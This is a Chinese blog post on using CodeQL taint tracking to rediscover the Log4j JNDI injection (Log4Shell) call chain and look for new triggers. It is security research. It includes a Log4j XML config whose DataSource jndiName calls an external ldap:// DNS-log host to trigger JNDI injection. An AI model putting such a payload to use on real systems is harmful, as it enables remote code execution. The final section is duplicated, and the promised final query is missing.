【安全漏洞】利用 CodeQL 分析并挖掘 Log4j 漏洞
- 2021 年 12 月 29 日
本文字数:14236 字
阅读完需:约 47 分钟
前言
分析漏洞的本质是为了能让我们从中学习漏洞挖掘者的思路以及挖掘到新的漏洞,而 CodeQL 就是一款可以将我们对漏洞的理解快速转化为可实现的规则并挖掘漏洞的利器。根据网上的传言 Log4j2 的 RCE 漏洞就是作者通过 CodeQL 挖掘出的。虽然如何挖掘的我们不得而知,但我们现在站在事后的角度再去想想,可以推测一下作者如何通过 CodeQL 挖掘到漏洞的,并尝试基于作者的思路挖掘新漏洞。
分析过程
首先我们要构建 Log4j 的数据库,由于lgtm.com
中构建的是新版本的 Log4j 数据库,所以只能手动构建数据库了。首先从 github 获取源码并切换到 2.14.1 版本。
git clone https://github.com/apache/logging-log4j2.git
git checkout be881e5
由于我们这次分析的主要是log4j-core
和log4j-api
中的内容,所以打开根目录的 Pom.xml 注释下面的内容。
<modules>
<module>log4j-api-java9</module>
<module>log4j-api</module>
<module>log4j-core-java9</module>
<module>log4j-core</module>
<!-- <module>log4j-layout-template-json</module>
<module>log4j-core-its</module>
<module>log4j-1.2-api</module>
<module>log4j-slf4j-impl</module>
<module>log4j-slf4j18-impl</module>
<module>log4j-to-slf4j</module>
<module>log4j-jcl</module>
<module>log4j-flume-ng</module>
<module>log4j-taglib</module>
<module>log4j-jmx-gui</module>
<module>log4j-samples</module>
<module>log4j-bom</module>
<module>log4j-jdbc-dbcp2</module>
<module>log4j-jpa</module>
<module>log4j-couchdb</module>
<module>log4j-mongodb3</module>
<module>log4j-mongodb4</module>
<module>log4j-cassandra</module>
<module>log4j-web</module>
<module>log4j-perf</module>
<module>log4j-iostreams</module>
<module>log4j-jul</module>
<module>log4j-jpl</module>
<module>log4j-liquibase</module>
<module>log4j-appserver</module>
<module>log4j-osgi</module>
<module>log4j-docker</module>
<module>log4j-kubernetes</module>
<module>log4j-spring-boot</module>
<module>log4j-spring-cloud-config</module> -->
</modules>
由于log4j-api-java9
和log4j-core- java9
需要依赖 JDK9,所以要先下载 JDK9 并且在C:\Users\用户名\.m2\toolchains.xml
中加上下面的内容。
<toolchains>
<toolchain>
<type>jdk</type>
<provides>
<version>9</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk-9.0.4</jdkHome>
</configuration>
</toolchain>
</toolchains>
通过下面的命令完成数据库构建
CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"
构建好数据库后,我们要找 JNDI 注入的漏洞,首先要确定在这套系统中调用了 InitialContext#lookup 方法。在LookupInterface项目中已经集成了常见的发起 JNDI 请求的类,只要稍微改一下即可。
首先定义 Context 类型,这个类中综合了可能发起 JNDI 请求的类。
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
下面寻找那里调用了Context
的 lookup 方法。
from Call call,Callable parseExpression
where
call.getCallee() = parseExpression and
parseExpression.getDeclaringType() instanceof Context and
parseExpression.hasName("lookup")
select call
DataSourceConnectionSource#createConnectionSource
@PluginFactory
public static DataSourceConnectionSource createConnectionSource(@PluginAttribute("jndiName") final String jndiName) {
if (Strings.isEmpty(jndiName)) {
LOGGER.error("No JNDI name provided.");
return null;
}
try {
final InitialContext context = new InitialContext();
final DataSource dataSource = (DataSource) context.lookup(jndiName);
if (dataSource == null) {
LOGGER.error("No data source found with JNDI name [" + jndiName + "].");
return null;
}
return new DataSourceConnectionSource(jndiName, dataSource);
} catch (final NamingException e) {
LOGGER.error(e.getMessage(), e);
return null;
}
}
JndiManager#lookup
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
找到 sink 后我们还需要找到 source,虽然 Codeql 定义了RemoteFlowSource
支持多种 source,但是我们还是要根据实际的代码业务来分析可能作为 source 的点。
在 Log4j 作为日志记录的工具,除了从 HTTP 请求中获取输入点外,还可以在记录日志请求或者解析配置文件中来获取 source。先不看解析配置文件获取 source 的点了,因为这需要分析 Log4j 解析配置文件的流程比较复杂。所以目前我们只考虑通过日志记录作为 source 的情况。稍微了解 Log4j 的同学都知道,Log4j 会通过error/fatal/info/debug/trace
等方法对不同级别的日志进行记录。通过分析我们可以看到我们输入的 message 都调用了logIfEnabled
方法并作为第四个参数输入,所以可以将这里定义为 source。
下面使用全局污点追踪分析 JNDI 漏洞,还是套用LookupInterface项目中的代码,修改 source 部分即可。
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType{
Logger(){
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup"
and
ma.getMethod().getDeclaringType() instanceof Context
and
arg = ma.getArgument(0)
)
}
predicate isLogging(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "logIfEnabled"
and
ma.getMethod().getDeclaringType() instanceof Logger
and
arg = ma.getArgument(3)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(Expr exp |
isLogging(exp)
and
source.asExpr() = exp
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
虽然这些也得到了很多查询结果,但是在实际使用 Log4j 打印日志时可能不会带上 Marker 参数而是直接写入 messge 的内容。
所以我们现在要追踪的 source 应该是带有一个参数的error/fatal/info/debug/trace
等方法。我这里以 error 方法为例对 source 部分进行修改。
class LoggerInput extends Method {
LoggerInput(){
//限定调用的类名、方法名、以及方法只有一个参数
this.getDeclaringType() instanceof Logger and
this.hasName("error") and this.getNumberOfParameters() = 1
}
//将第一个参数作为source
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput LoggerMethod |
source.asParameter() = LoggerMethod.getAnUntrustedParameter())
}
这样我们就得到了多条链,现在我们要写个 Demo 验证这个链是否可行,比如最简单的logger.error("xxxxx");
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1835:38
5 message : Message Logger.java:262:70
6 message : Message Logger.java:263:52
7 msg : Message Logger.java:617:64
8 msg : Message Logger.java:620:78
9 msg : Message RegexFilter.java:73:87
10 msg : Message RegexFilter.java:78:63
...
64 convertJndiName(...) : String JndiLookup.java:54:33
65 jndiName : String JndiLookup.java:56:56
66 name : String JndiManager.java:171:25
67 name JndiManager.java:172:40
Path
但是这条链只有配置了 Filter 为RegexFilter
才会继续执行,而默认没有配置则为空。
所以这种方式就稍微有些限制,所以我们再去看看其他链。这条链似乎不用配置 Filter。
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1836:51
5 message : Message AbstractLogger.java:2139:94
6 message : Message AbstractLogger.java:2142:59
7 message : Message AbstractLogger.java:2155:43
8 message : Message AbstractLogger.java:2159:67
9 message : Message AbstractLogger.java:2202:32
10 message : Message AbstractLogger.java:2205:48
11 message : Message AbstractLogger.java:2116:9
12 message : Message AbstractLogger.java:2117:41
...
78 var : String Interpolator.java:230:92
79 key : String JndiLookup.java:50:48
80 key : String JndiLookup.java:54:49
81 jndiName : String JndiLookup.java:70:36
82 jndiName : String JndiLookup.java:74:16
83 convertJndiName(...) : String JndiLookup.java:54:33
84 jndiName : String JndiLookup.java:56:56
85 name : String JndiManager.java:171:25
86 name JndiManager.java:172:40
但是在AbstractLogger#tryLogMessage
中 Codeql 会直接分析到AbstractLogger#log
而实际请求时会解析到Logger#log
方法。这是因为Logger
是AbstractLogger
的子类并且也实现了 log 方法,而且我们实例化的也是 Logger 对象,所以这里会调用到Logger#log
。
实际请求
CodeQL 分析
再看看下面这条链
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1836:51
5 message : Message AbstractLogger.java:2139:94
6 message : Message AbstractLogger.java:2142:59
7 message : Message AbstractLogger.java:2155:43
8 message : Message AbstractLogger.java:2159:67
9 message : Message AbstractLogger.java:2202:32
10 message : Message AbstractLogger.java:2205:48
11 message : Message Logger.java:158:9
12 message : Message Logger.java:162:17
13 data : Message AwaitCompletionReliabilityStrategy.java:78:83
14 data : Message AwaitCompletionReliabilityStrategy.java:82:67
15 data : Message LoggerConfig.java:430:28
16 data : Message LoggerConfig.java:454:17
17 message : Message ReusableLogEventFactory.java:78:86
18 message : Message ReusableLogEventFactory.java:100:27
19 msg : Message MutableLogEvent.java:209:28
20 (...)... : Message MutableLogEvent.java:211:46
21 reusable : Message MutableLogEvent.java:212:13
22 parameter this : Message ReusableObjectMessage.java:47:17
23 obj : Object ReusableObjectMessage.java:48:44
...
88 convertJndiName(...) : String JndiLookup.java:54:33
89 jndiName : String JndiLookup.java:56:56
90 name : String JndiManager.java:171:25
91 name JndiManager.java:172:40
这条链在执行到MutableLogEvent#setMessage
时和 CodeQL 的分析结果略有不同。
在 CodeQL 中resusable.formatTo
会调用到ReusableObjectMessage
中。
但是实际运行过程中由于 MessgeFactorty 创建 Message 对象时默认创建的是ResableSimpleMessage
对象,所以会执行到ResableSimpleMessage#formatTo
方法。
所以似乎目前使用使用 CodeQL 的规则是发现不了 Log4jShell 那个漏洞的,既然我们已经知道了这个漏洞的触发链,可以分析下 CodeQL 为什么没有分析出来。
通过之前对 CodeQL 检测出的调用链分析,CodeQL 已经分析到了 createEvent 方法。
查看 createEvent 方法的调用,在Log4jShell
的触发链中实际上是在对返回 LogEvent 的处理过程中触发的,所以这里 CodeQL 可能没有将返回的 LogEvent 对象再当作污点进行分析,所以导致没有分析成功。
我们可以创建一个isAdditionalTaintStep
函数,将ReusableLogEventFactory#createEvent
的第六个参数 Message 和LoggerConfig#log
第一个参数logEvent
连接起来。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")
and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")
and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0)
)
}
最后我们就可以通过 CodeQL 分析到 Log4j shell 漏洞的调用链。
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1836:51
5 message : Message AbstractLogger.java:2139:94
6 message : Message AbstractLogger.java:2142:59
7 message : Message AbstractLogger.java:2155:43
8 message : Message AbstractLogger.java:2159:67
9 message : Message AbstractLogger.java:2202:32
10 message : Message AbstractLogger.java:2205:48
11 message : Message Logger.java:158:9
12 message : Message Logger.java:162:17
13 data : Message DefaultReliabilityStrategy.java:61:83
14 data : Message DefaultReliabilityStrategy.java:63:69
15 data : Message LoggerConfig.java:430:28
16 data : Message LoggerConfig.java:454:96
17 message : Message ReusableLogEventFactory.java:58:47
18 message : Message ReusableLogEventFactory.java:60:67
19 event : LogEvent LoggerConfig.java:469:13
20 event : LogEvent LoggerConfig.java:479:24
21 event : LogEvent LoggerConfig.java:481:29
22 event : LogEvent LoggerConfig.java:495:34
23 event : LogEvent LoggerConfig.java:498:27
24 event : LogEvent LoggerConfig.java:536:34
25 event : LogEvent LoggerConfig.java:540:38
26 event : LogEvent AppenderControl.java:80:30
27 event : LogEvent AppenderControl.java:84:38
28 event : LogEvent AppenderControl.java:117:47
29 event : LogEvent AppenderControl.java:120:27
30 event : LogEvent AppenderControl.java:126:32
31 event : LogEvent AppenderControl.java:129:29
32 event : LogEvent AppenderControl.java:154:34
33 event : LogEvent AppenderControl.java:156:29
34 event : LogEvent AbstractDatabaseAppender.java:107:30
35 event : LogEvent AbstractDatabaseAppender.java:110:37
36 event : LogEvent AbstractDatabaseManager.java:260:42
37 event : LogEvent AbstractDatabaseManager.java:262:20
38 event : LogEvent AbstractDatabaseManager.java:122:27
39 event : LogEvent AbstractDatabaseManager.java:123:25
40 parameter this : LogEvent Log4jLogEvent.java:530:26
41 this : LogEvent Log4jLogEvent.java:534:16
42 toImmutable(...) : LogEvent AbstractDatabaseManager.java:123:25
43 this.buffer [post update] [<element>] : LogEvent AbstractDatabaseManager.java:123:9
44 this [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:123:9
45 this <.method> [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:262:13
46 getManager(...) [post update] [buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:13
47 this [post update] [manager, buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:13
48 appender [post update] [manager, buffer, <element>] : LogEvent AppenderControl.java:156:13
49 this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:156:13
50 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:129:13
51 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:120:13
52 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:84:9
53 event : LogEvent AppenderControl.java:80:30
54 event : LogEvent AppenderControl.java:84:38
55 event : LogEvent AppenderControl.java:117:47
56 event : LogEvent AppenderControl.java:120:27
57 event : LogEvent AppenderControl.java:126:32
58 event : LogEvent AppenderControl.java:129:29
59 event : LogEvent AppenderControl.java:154:34
60 event : LogEvent AppenderControl.java:156:29
61 event : LogEvent AbstractOutputStreamAppender.java:179:24
62 event : LogEvent AbstractOutputStreamAppender.java:181:23
63 event : LogEvent AbstractOutputStreamAppender.java:188:28
64 event : LogEvent AbstractOutputStreamAppender.java:190:31
65 event : LogEvent AbstractOutputStreamAppender.java:196:38
66 event : LogEvent AbstractOutputStreamAppender.java:197:28
67 event : LogEvent GelfLayout.java:433:24
68 event : LogEvent GelfLayout.java:438:43
69 event : LogEvent GelfLayout.java:471:34
70 event : LogEvent GelfLayout.java:496:46
71 event : LogEvent StrSubstitutor.java:462:27
72 event : LogEvent StrSubstitutor.java:467:25
73 event : LogEvent StrSubstitutor.java:911:34
74 event : LogEvent StrSubstitutor.java:912:27
75 event : LogEvent StrSubstitutor.java:928:28
76 event : LogEvent StrSubstitutor.java:978:44
77 event : LogEvent StrSubstitutor.java:911:34
78 event : LogEvent StrSubstitutor.java:912:27
79 event : LogEvent StrSubstitutor.java:928:28
80 event : LogEvent StrSubstitutor.java:1033:63
81 event : LogEvent StrSubstitutor.java:1104:38
82 event : LogEvent StrSubstitutor.java:1110:32
83 event : LogEvent StructuredDataLookup.java:46:26
84 event : LogEvent StructuredDataLookup.java:50:67
85 parameter this : LogEvent RingBufferLogEvent.java:206:20
86 message : Message RingBufferLogEvent.java:210:16
87 getMessage(...) : Message StructuredDataLookup.java:50:67
88 (...)... : Message StructuredDataLookup.java:50:43
89 msg : Message StructuredDataLookup.java:54:20
90 parameter this : Message StructuredDataMessage.java:239:19
91 type : String StructuredDataMessage.java:240:16
92 getType(...) : String StructuredDataLookup.java:54:20
93 lookup(...) : String StrSubstitutor.java:1110:16
94 resolveVariable(...) : String StrSubstitutor.java:1033:47
95 varValue : String StrSubstitutor.java:1040:63
96 buf [post update] : StringBuilder StrSubstitutor.java:1040:33
97 buf [post update] : StringBuilder StrSubstitutor.java:912:34
98 bufName [post update] : StringBuilder StrSubstitutor.java:978:51
99 bufName : StringBuilder StrSubstitutor.java:979:47
100 toString(...) : String StrSubstitutor.java:979:47
101 varNameExpr : String StrSubstitutor.java:1010:55
102 substring(...) : String StrSubstitutor.java:1010:55
103 varName : String StrSubstitutor.java:1033:70
104 variableName : String StrSubstitutor.java:1104:60
105 variableName : String StrSubstitutor.java:1110:39
106 key : String JndiLookup.java:50:48
107 key : String JndiLookup.java:54:49
108 jndiName : String JndiLookup.java:70:36
109 ... + ... : String JndiLookup.java:72:20
110 convertJndiName(...) : String JndiLookup.java:54:33
111 jndiName : String JndiLookup.java:56:56
112 name : String JndiManager.java:171:25
113 name JndiManager.java:172:40
漏洞挖掘尝试
通过上面的分析可以看到,挖掘到所有的链最终的触发点都是 JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource
中也直接调用了 lookup 方法,我们能否通过某种方式触发呢?
通过注释可以看到 DataSource 是 Core 类型插件,因此可以在 XML 中直接通过标签配置调用。
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org.">
</DataSource>
<Loggers>
<Root level="ERROR">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成 JNDI 注入,但是需要在配置文件中修改参数才能触发,所以价值不大。
最后给出整体的分析 Log4j JNDI 注入的 CodeQL 查询代码
1 message : Message AbstractLogger.java:709:23
2 message : Message AbstractLogger.java:710:47
3 message : Message AbstractLogger.java:1833:89
4 message : Message AbstractLogger.java:1836:51
5 message : Message AbstractLogger.java:2139:94
6 message : Message AbstractLogger.java:2142:59
7 message : Message AbstractLogger.java:2155:43
8 message : Message AbstractLogger.java:2159:67
9 message : Message AbstractLogger.java:2202:32
10 message : Message AbstractLogger.java:2205:48
11 message : Message Logger.java:158:9
12 message : Message Logger.java:162:17
13 data : Message DefaultReliabilityStrategy.java:61:83
14 data : Message DefaultReliabilityStrategy.java:63:69
15 data : Message LoggerConfig.java:430:28
16 data : Message LoggerConfig.java:454:96
17 message : Message ReusableLogEventFactory.java:58:47
18 message : Message ReusableLogEventFactory.java:60:67
19 event : LogEvent LoggerConfig.java:469:13
20 event : LogEvent LoggerConfig.java:479:24
21 event : LogEvent LoggerConfig.java:481:29
22 event : LogEvent LoggerConfig.java:495:34
23 event : LogEvent LoggerConfig.java:498:27
24 event : LogEvent LoggerConfig.java:536:34
25 event : LogEvent LoggerConfig.java:540:38
26 event : LogEvent AppenderControl.java:80:30
27 event : LogEvent AppenderControl.java:84:38
28 event : LogEvent AppenderControl.java:117:47
29 event : LogEvent AppenderControl.java:120:27
30 event : LogEvent AppenderControl.java:126:32
31 event : LogEvent AppenderControl.java:129:29
32 event : LogEvent AppenderControl.java:154:34
33 event : LogEvent AppenderControl.java:156:29
34 event : LogEvent AbstractDatabaseAppender.java:107:30
35 event : LogEvent AbstractDatabaseAppender.java:110:37
36 event : LogEvent AbstractDatabaseManager.java:260:42
37 event : LogEvent AbstractDatabaseManager.java:262:20
38 event : LogEvent AbstractDatabaseManager.java:122:27
39 event : LogEvent AbstractDatabaseManager.java:123:25
40 parameter this : LogEvent Log4jLogEvent.java:530:26
41 this : LogEvent Log4jLogEvent.java:534:16
42 toImmutable(...) : LogEvent AbstractDatabaseManager.java:123:25
43 this.buffer [post update] [<element>] : LogEvent AbstractDatabaseManager.java:123:9
44 this [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:123:9
45 this <.method> [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:262:13
46 getManager(...) [post update] [buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:13
47 this [post update] [manager, buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:13
48 appender [post update] [manager, buffer, <element>] : LogEvent AppenderControl.java:156:13
49 this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:156:13
50 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:129:13
51 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:120:13
52 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:84:9
53 event : LogEvent AppenderControl.java:80:30
54 event : LogEvent AppenderControl.java:84:38
55 event : LogEvent AppenderControl.java:117:47
56 event : LogEvent AppenderControl.java:120:27
57 event : LogEvent AppenderControl.java:126:32
58 event : LogEvent AppenderControl.java:129:29
59 event : LogEvent AppenderControl.java:154:34
60 event : LogEvent AppenderControl.java:156:29
61 event : LogEvent AbstractOutputStreamAppender.java:179:24
62 event : LogEvent AbstractOutputStreamAppender.java:181:23
63 event : LogEvent AbstractOutputStreamAppender.java:188:28
64 event : LogEvent AbstractOutputStreamAppender.java:190:31
65 event : LogEvent AbstractOutputStreamAppender.java:196:38
66 event : LogEvent AbstractOutputStreamAppender.java:197:28
67 event : LogEvent GelfLayout.java:433:24
68 event : LogEvent GelfLayout.java:438:43
69 event : LogEvent GelfLayout.java:471:34
70 event : LogEvent GelfLayout.java:496:46
71 event : LogEvent StrSubstitutor.java:462:27
72 event : LogEvent StrSubstitutor.java:467:25
73 event : LogEvent StrSubstitutor.java:911:34
74 event : LogEvent StrSubstitutor.java:912:27
75 event : LogEvent StrSubstitutor.java:928:28
76 event : LogEvent StrSubstitutor.java:978:44
77 event : LogEvent StrSubstitutor.java:911:34
78 event : LogEvent StrSubstitutor.java:912:27
79 event : LogEvent StrSubstitutor.java:928:28
80 event : LogEvent StrSubstitutor.java:1033:63
81 event : LogEvent StrSubstitutor.java:1104:38
82 event : LogEvent StrSubstitutor.java:1110:32
83 event : LogEvent StructuredDataLookup.java:46:26
84 event : LogEvent StructuredDataLookup.java:50:67
85 parameter this : LogEvent RingBufferLogEvent.java:206:20
86 message : Message RingBufferLogEvent.java:210:16
87 getMessage(...) : Message StructuredDataLookup.java:50:67
88 (...)... : Message StructuredDataLookup.java:50:43
89 msg : Message StructuredDataLookup.java:54:20
90 parameter this : Message StructuredDataMessage.java:239:19
91 type : String StructuredDataMessage.java:240:16
92 getType(...) : String StructuredDataLookup.java:54:20
93 lookup(...) : String StrSubstitutor.java:1110:16
94 resolveVariable(...) : String StrSubstitutor.java:1033:47
95 varValue : String StrSubstitutor.java:1040:63
96 buf [post update] : StringBuilder StrSubstitutor.java:1040:33
97 buf [post update] : StringBuilder StrSubstitutor.java:912:34
98 bufName [post update] : StringBuilder StrSubstitutor.java:978:51
99 bufName : StringBuilder StrSubstitutor.java:979:47
100 toString(...) : String StrSubstitutor.java:979:47
101 varNameExpr : String StrSubstitutor.java:1010:55
102 substring(...) : String StrSubstitutor.java:1010:55
103 varName : String StrSubstitutor.java:1033:70
104 variableName : String StrSubstitutor.java:1104:60
105 variableName : String StrSubstitutor.java:1110:39
106 key : String JndiLookup.java:50:48
107 key : String JndiLookup.java:54:49
108 jndiName : String JndiLookup.java:70:36
109 ... + ... : String JndiLookup.java:72:20
110 convertJndiName(...) : String JndiLookup.java:54:33
111 jndiName : String JndiLookup.java:56:56
112 name : String JndiManager.java:171:25
113 name JndiManager.java:172:40
私信回复“资料”获取 log4j 的分享及修复资料·教程
漏洞挖掘尝试
通过上面的分析可以看到,挖掘到所有的链最终的触发点都是 JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource
中也直接调用了 lookup 方法,我们能否通过某种方式触发呢?
通过注释可以看到 DataSource 是 Core 类型插件,因此可以在 XML 中直接通过标签配置调用。
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org.">
</DataSource>
<Loggers>
<Root level="ERROR">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成 JNDI 注入,但是需要在配置文件中修改参数才能触发,所以价值不大。
最后给出整体的分析 Log4j JNDI 注入的 CodeQL 查询代码
H
还未添加个人签名 2021.08.04 加入
还未添加个人简介
评论